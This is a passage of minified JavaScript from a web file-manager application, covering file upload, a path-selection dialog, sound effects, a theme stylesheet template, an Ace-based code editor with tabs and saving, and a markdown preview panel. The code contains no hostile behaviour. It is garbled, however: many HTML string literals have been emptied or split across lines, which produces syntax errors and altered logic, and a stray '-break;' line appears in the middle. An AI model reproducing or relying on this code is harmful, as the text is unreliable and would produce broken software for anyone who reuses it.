e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),x(),_(),Toolbar.toolbarSelected(),void 0;var n="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),i={charset:"utf-8",uuid:a,name:core.pathThis(e),filename:e,mode:p(e),the_url:n},f(i),t[i.uuid]={kod:{filename:i.filename}},$.ajax({dataType:"json",url:n,error:function(e,t,a){E(i.uuid),core.ajaxError(e,t,a)},success:function(e){if($(".tab_"+i.uuid).removeClass("loading"),!e||!e.code)return E(i.uuid),Tips.tips(e);if(0==$("#"+i.uuid).length)return E(i.uuid),void 0;if(!e.code)return Tips.tips(e),E(i.uuid),void 0;var n=e.data;1==n.base64&&(n.content=base64Decode(n.content));var o="";if("php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s),i.mode=p("test.json")}"oexe"==n.ext&&(n.content=js_beautify(n.content)),t[a]=void 0,$("#"+a).text(n.content),m(i);var r=t[a];r.kod.charset=n.charset,r.kod.base64=n.base64,r.navigateTo(0),r.moveCursorTo(0,0),R(),x(),_(),Toolbar.toolbarSelected()}})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='
    '+'
    '+i+htmlEncode(t.name)+"
    "+' '+'
    '+"
    ";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){L(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){N(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=F();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename,a=''+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),z(),x(),Toolbar.toolbarSelected(),g()},g=function(){var e=F();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a)); -break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},w=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&x()},x=function(){var e=F();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},L=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},N=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;F().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){T(n,e,a)}):T(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&N(e)},T=function(e,t,i){var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,S(e)),L(e,!1),_(),i&&E(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},S=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},j=function(e){if(void 0==e&&(e=i),void 0==t[e])return E(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+"
    "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){N(e,!0)}},{name:LNG.button_not_save,callback:function(){E(e)}}]}):E(e)},E=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),z()},z=function(){0==$(".edit_body .tabs .edit_content").length?(F()&&F().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},A=function(e){core.setSkin(e)},F=function(){return i&&t[i]&&t[i].focus?t[i]:!1},O=function(e){var i=F();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):(Tips.loading(LNG.getting,!0),$(".tab_"+e).addClass("loading"),$.ajax({dataType:"json",url:a,error:function(t,i,a){Tips.close(),$(".tab_"+e).removeClass("loading"),core.ajaxError(t,i,a)},success:function(t){if(Tips.close(),$(".tab_"+e).removeClass("loading"),!t.code)return Tips.close(t),void 0;Tips.close(LNG.success,!0);var a=t.data;1==a.base64&&(a.content=base64Decode(a.content));var n="";if(null==a.content&&(a.content=""),"php"==a.ext&&0==a.content.indexOf(n)){var o=a.content.substr(n.length);a.content=n+js_beautify(o)}"oexe"==a.ext&&(a.content=js_beautify(a.content)),i.kod.charset=a.charset,i.kod.base64=a.base64,i.getSession().setValue(a.content);var s=i.getFirstVisibleRow();i.scrollToLine(s),L(i,!1)}}),void 0)},R=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=F(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},I=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:F,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:w,setTheme:A,isBlackTheme:I,select:b,remove:j,save:N,saveall:C,refresh:O,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),R()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(L);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('
    '),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":L();break;case"tool_close":x();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,x()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?w()||v("html"):r.hasClass("hidden")&&v("html")},w=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},x=function(){(s.hasClass("hidden")||!w())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},L=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},N=function(){h(),_(),w();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return N(),{open:v,editChange:g,close:x,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
  • '+$(this).text()+"
  • "}),t="
      "+t+"
    "},i=function(e){e.find("a").attr("target","_blank");var i="

    [TOC]

    ";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='
    '+e+"
